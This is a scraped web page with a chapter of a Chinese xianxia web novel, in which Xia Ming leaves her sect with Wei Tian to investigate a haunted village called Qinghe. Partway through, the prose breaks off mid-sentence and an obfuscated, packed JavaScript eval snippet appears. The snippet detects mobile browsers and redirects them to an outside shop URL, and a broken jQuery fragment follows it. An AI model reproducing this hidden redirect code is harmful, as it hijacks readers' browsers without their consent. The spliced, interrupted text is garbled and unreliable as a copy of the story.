文趣网 > 其他小说 > 他们说:请剑仙赴死 > 21.出发
    夏鸣沉浸在巨大的狂喜中,丝毫没有察觉到身边的动静。直到沈墨带着一脸促狭的笑容,撑着下巴,歪头凑到她眼前:“什么事这么激动?”

    “啊,”夏鸣捂一下嘴,连忙坐下,迫不及待分享,“蔚天同意我和他一起走了!”

    “哦~”沈墨面露欣慰色坐直身,朝蔚天道:“师叔,小夏鸣的安危就劳你照看了。”

    蔚天刚点下头,沈墨又接着转向夏鸣,执起她双手,言辞恳切:“事情有进展后一定要告知我,最好能回来,否则我可怎么办呀。”

    夏鸣反握住沈墨双手,“放心吧师姐,到时候我一定回来!”

    师姐妹俩絮叨开,兴高采烈的氛围从东头蔓延至西边,也牵动蔚天的唇角。

    宴席的气氛在酒意与离别情绪的交织下愈发高涨。夏鸣咽下第三十七樽醉仙酿,脸色彤红眼神迷离,搭上叶念念的肩,口不择言:“念念,你说,为啥咱们宗门,名字那——么长啊。”

    叶念念捧着果汁,脸蛋也红扑扑的,用力点头:“是啊,我记了好久才记住全名,这名字真的太长太难记了!”

    一向板正的秦风也斜卧席间,打了个饱嗝插话:“师妹们有所不知,我刚来岛上时,咱们宗连个正经名字都没有,是后面沈墨来了,师父一看人多不能没个名字,翻了三天的书才凑出这一长串——我跟沈墨劝过,没用。”

    “执千丝,御百骸,千魂舞动暗夜,幽冥傀儡宗,”叶念念扳着手指一段段念,最后力竭窝入夏鸣怀中,“真的好难记!师父肯定有奇怪的癖好!”

    不远处李慕月耳朵竖起,朝她们高声:“什么叫奇怪的癖好,明明这么贴切!一群不懂欣赏的家伙!”

    镇压了小徒弟的“叛逆”,他哼声重新转向蔚天,与好友碰杯,“这帮小崽子,真是越来越没大没小。”

    “你不是挺乐在其中?”蔚天含笑抿酒液。

    “咳,不提这个,”李慕月不自在地清清嗓子,换了正题,“真要带上夏鸣?”

    “嗯,九歌既然掌握了她的神魂气息,若留在此处,傀儡宗迟早会成为目标。况且,她去意已决,不如随我走,以免出意外。”蔚天望向夏鸣,那姑娘与叶念念抱在一起,笑容明媚,趴在铺着软毯的地板上。

    “我还是认为此事不妥,”李慕月皱了皱眉,“她来历奇怪,对你又执念深重。你现在这般纵容,焉知不是九歌乐见的局面?或许就是为了在你松懈、最为虚弱之时——”

    “虚弱?”蔚天像是听见了什么笑话,摇摇头,“慕月,或许你对九歌阴影太深,忘了凭她单人之力,不是我对手。”

    李慕月闻言,目光垂向酒樽,内里淡金的酒液映出他的半张脸,透过这未曾变过的容颜,也仿佛重新窥见了过去的阴霾。

    “阿天,我毕竟曾被九歌收养过,知道她是怎样的人,”李慕月声音低沉,瞳孔掠过刻骨的恨意,“她是极致的野心家,为了达成目的无所不用其极。既然下令要追捕夏鸣,无论夏鸣本身是清是浊,身上也必然有她必须掌握的某样特质。如果想挫败她的图谋,最好的办法……”

    说到此,李慕月顿住,像是被自己即将脱口而出的冷漠刺伤,闭上眼忽然笑了两声:“唉,凝心说得是,我的确在迁怒。看来还是染上了一点坏毛病。”

    那未出口的最好办法,蔚天心知肚明。既然九歌在找夏鸣,又不能确定夏鸣是否真身怀异常,从源头上抹除,无疑是最简单也最安全的。

    蔚天望着在软毯上发出欢笑的夏鸣,自从遇见她开始,似乎从未像今日这般笑容开怀。此诚心不假,他又非石人。

    “她未有过歹念,不应盲目处置,”蔚天将樽口碰上李慕月的,青铜相击响起闷声,继续道,“换个思路,如今夏鸣在我们这,可以借此找出九歌的破绽。”

    李慕月叹息,像是卸下了千钧负担,仰头饮尽杯中酒,声音带着一丝释然、惭愧,“你说得对,是我着相,该多修修心了。”

    杯盘具空,歌舞的傀儡人们收势,整齐利落清理残局。夏鸣许久未这样放肆耍乐,尽情发泄完对大家的不舍以后,躺在软毯上呼吸均匀,已陷入酣眠。

    沈墨上前,小心架起她,朝众人道:“我先送小夏鸣回屋。”

    李慕月指尖一弹,一道碧光飞向沈墨:“小墨,把这东西给夏鸣,跟她说清楚,若日后身陷险境阿天来不及救,就捏碎镯子,可以将她送回傀儡宗。”那是一只通体碧绿、缠绕着几缕血色丝线的玉镯。

    沈墨接住手镯,无奈:“为什么不等她醒来当面说?”

    “你说更合适。”李慕月别开脸,语气带着些许别扭。

    沈墨哭笑不得,只得带着手镯和夏鸣回屋安顿。次日天光大亮,夏鸣才恍惚地悠悠转醒,看清自己眼前是熟悉的木制天花板,揉了揉眼睛,感受着修炼后哪怕宿醉也健康至极的体质,很快清醒,坐起身出门。

    沈墨坐在客厅桌前勾勾画画,见到她招呼,一只血丝碧镯飞过去:“可算醒了,小夏鸣,这是师父给你的玉镯,他说如果碰上师叔都来不及救的险状,捏碎玉镯便可以回到傀儡宗。”

    “诶?”夏鸣下意识接住镯子,才反应过来,“李宗主送我的?为什么?”明明之前还那么针锋相对?

    “或许是认识到了自己的错处,但心里别扭不敢道歉,管他呢,”沈墨抱起自己勾画的那本书,走过来将书递给夏鸣,“这书上有我以后想教你的神魂功法和一些简单的灵力功法,既然你要出宗,那就带上,自己好好修炼。”

    夏鸣双手拿过书本,郑重道:“我一定好好修炼,谢谢师姐,也替我谢谢宗主的关心,我不会拖后腿的。”

    “你当然不会!”沈墨一把搂住夏鸣,“保护好自己。”

    道别沈墨,夏鸣回屋收好手镯和行李,将昨日从师兄姐们处收到的临别礼物装入储物袋,正欲登塔,便瞧见蔚天自阶梯往下走来,“醒了?行囊已收拾妥当?”

    “嗯,随时可以出发。”她弯眼,三步并两步跃至蔚天身侧,询问:“那个清河村,究竟在哪?”

    “上回我们去时,它在青云宗、玄道宗、枯荣山庄的势力交界处,如今应当已经并入青云剑宗范围。”蔚天回着话迈步向前,夏鸣紧随其后。

    坐上空气椅,与蔚天一同腾飞,夏鸣思索问:“你的上回也是几百多年前了吧,那个村子如果都是凡人,或许留不了这么长时间。”

    “那时村中有修士坐镇,以那修士的修为,活几百年并不出奇,”蔚天继续耐心地介绍,“即便村子有变,说不定也可以打听出消息。”

    夏鸣点点头表示了解,瞧蔚天是有问必答样,犹豫几秒后,终究抵不过内心的关切和好奇,问:“可以跟我详细讲讲,当年你是怎么与师父到清河村,又是因什么事分别吗?”

    片刻沉默后,风中传来蔚天怅然之声,声音悠远,仿佛陷入了遥远的回忆:“那时万古浩劫将将平息,我随师父四处治病救人,路过清河村,刚安顿下来,便听见青云宗大乱,”顿了顿,“我,终究生于青云,师父看出我心神不宁,便说,这个村子重病患不多,适合休养,让我先回去青云宗,再回来寻他,也来得及……”

    夏鸣静静地听着,她能听出蔚天声音里的遗憾。数百年的时光,未能回去的承诺,这些重量一个人又怎么担得住。

    这段故事中尚有许多疑问:譬如青云宗大乱究竟是为何;譬如蔚天牵挂青云宗才回,后来又为何被青云宗主沐阳追捕,其中发生了什么。然而蔚天并未多言,贸然追问,反而可能揭伤疤,她点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557819|202811||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头说:“那这么看来,清河村是高先生最后停留的地方,如果那位修士还在世,我们可以向他多打听打听。”

    蔚天嗯声,下一刻脚下的沧海更极速后退,归心似箭之意显露无疑。夏鸣心下担忧,劝道:“蔚天,着急也没用,最好先在清河村附近探听现状,再决定接下来怎么办。”

    “没人能察觉我们踪迹,除非这村子出了半仙。”蔚天这话说的镇定十足,但四周风景后退速度明显更快了些。

    要如何才能说服一个心急的半仙谨慎处事?夏鸣眼看身下已经是陆地,出现了村落、小镇、山峰、山脉。

    她绞尽脑汁,结合这段时日的所见所闻搜肠刮肚,总算想出一些措辞:“听我说,你如今已经破封,敌人定然知晓。她们以前就能追到你,如果不谨慎行事、做好伪装,被旁人捉了破绽,以风见眠这遍布天下的魂网,只要有人将相关情报透露,很可能再次陷入被合围追击的困境。况且她们知道你心急高先生的事,指不定会在村子设什么埋伏,要报仇的话,还是谨慎一点更好吧?”

    穿行云间的蔚天身形一顿,底下山脉后撤的速度顿时缓下,他沉思着看来,夏鸣倾身向前,趁热打铁:“对不对?”

    “虽然我并不认为她们的埋伏能威胁到什么,”蔚天字斟字酌,松开了不自觉握紧的拳头,“不过你说得也有理,谨慎些不是坏事。”

    “嗯嗯,所以一会儿我们先去邻村打听,确认清河村无异后再去。”夏鸣心头大石落地,接着建议,蔚天颔首。

    穿行过蜿蜒绵亘的山脉、越过碧蓝如洗的湖泊,二人错身过御空的修士与各类舟船,他们甚至没能察觉蔚天夏鸣到来,最终蔚天给夏鸣指了指一条清河边的村庄,降落在其隔壁邻村树丛中。

    整理过衣着,蔚天手中变出一根发簪,递予夏鸣:“此物可妨碍常人认知,屏蔽寻常神魂探测,为免被记住、被发现,你得戴上。”

    夏鸣当然称好,但齐肩的发用不了簪子,便插入腰带做装饰。

    二人便做游山玩水的散修,进入这邻村。村口有三个小童正在踢毽子,短发男娃大力一踢,扎着丸子头的女孩奔跑不及毽子落地,她撇了撇嘴,从兜里摸出一只小木瓶,咕嘟嘟喝掉。

    夏鸣趁机走上前去,道:“小朋友,我们想打听点事,你们方便吗?”

    “忙着呢。”女孩收好小瓶捡起毽子,也飞起一脚!

    毽子以不可思议地速度直直上了高空,短发男娃哇哇叫着去追毽子,丸子头女娃得意看着她,许是心情绝佳,终于回答:“你们也是为了清河村吧,那村子闹鬼,还是厉鬼呢!之前去了好多仙子仙女,都没驱鬼成功。”

    这是喝了什么,怎么让她变得像大力士一样,夏鸣忍不住多看了几眼。

    “嘿!”毽子被男娃踢回,这次女孩脚步果断,利落接住飞快踢出。

    甚至还变得如此灵巧。夏鸣见她不排斥交谈,便继续问:“既然清河村闹鬼,你们怎么不怕?”

    “我们村有张奶奶,她可厉害了,那鬼当然不敢过来!”女娃见同伴没能接住落地的毽子,高兴跳起:“我赢了我赢了!说好的奶糖快拿来!”

    女娃没再理会夏鸣,一溜烟就朝同伴跑去,抓住男孩手臂开始讨糖,热闹得夏鸣无法插话,好在该问的事也问了出来,看向蔚天,说:“看来我们得是驱鬼的修士。”

    “鬼……”蔚天目光投向清河村所在之处,小河的对面,“好,不过涉及鬼魂之事,阴阳殿应当也会出马,见机行事吧。”

    夏鸣应声,心中开始细细盘算。女娃的态度表明经常有人来清河村,能驱鬼的自然也是修士。连修士都无法解决的“厉鬼”,究竟是什么?

    疑问万千,但空想无益。只消前往清河村一探究竟。